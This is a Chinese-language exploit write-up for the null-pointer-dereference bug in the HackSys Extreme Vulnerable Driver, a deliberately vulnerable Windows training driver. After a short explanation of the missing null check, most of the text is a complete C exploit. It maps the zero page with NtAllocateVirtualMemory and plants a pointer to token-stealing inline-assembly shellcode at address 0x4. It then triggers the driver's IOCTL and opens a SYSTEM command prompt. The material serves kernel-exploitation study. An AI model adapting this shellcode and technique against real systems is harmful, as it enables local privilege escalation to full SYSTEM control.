空指针这个其实一直是一个比较容易找到bug的点
因为一旦空指针指向了 不对的内存 就会报错 R3的程序会崩溃 R0的驱动会蓝屏 ====
看一下 代码
可以看出 安全的版本就是 检查了一下 这个指针是否为空的 (其实有时候这样判断也未必一定安全)
但是 不安全的版本却没有 判断 那么 就会造成一个结果 就是会执行 代码 (0+sizeof(ULONG))处指向的代码
那么 如果看过0day安全的小伙伴 一定对这个很了解 那个demo 的解法 就是把shellcode 写到 地址0处
这个可以同样的解 ==
其中 在用 NtAllocateVirtualMemory 申请内存的时候 看准这一句话
https://baike.baidu.com/item/NtAllocateVirtualMemory/4758720
百度百科
exp 过程 ==
找到 NtAllocateVirtualMemory
然后 用 NtAllocateVirtualMemory 申请 地址0处的内存
然后传入shellcode 就ok了
#include<Windows.h>
#include<stdio.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
HANDLE hDevice = NULL;
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
static VOID ShellCode()
{
_asm
{
pop edi
pop esi
pop ebx
pushad
mov eax, fs: [124h]
mov eax, [eax + 0x50]
mov ecx, eax
mov edx, 4
find_sys_pid :
mov eax, [eax + 0xb8]
sub eax, 0xb8
cmp[eax + 0xb4], edx
jnz find_sys_pid
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn)
CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
DWORD interVal;
char buf[4];
*(PDWORD32)(buf) = 0xBAD0B0B1;
hDevice = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("[!] open hDevice error\n");
return 0;
}
*(FARPROC*)& NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[!]Failed NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}
DWORD bReturn = 0;
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}
*(DWORD*)(0x4) = (DWORD)& ShellCode;
DeviceIoControl(hDevice, 0x22202b, buf, 4, NULL, 0, &bReturn, NULL);
CreateCmd();
system("pause");
}
ok 搞定一把梭====
参考链接
https://baike.baidu.com/item/NtAllocateVirtualMemory/4758720
https://bbs.pediy.com/thread-252776.htm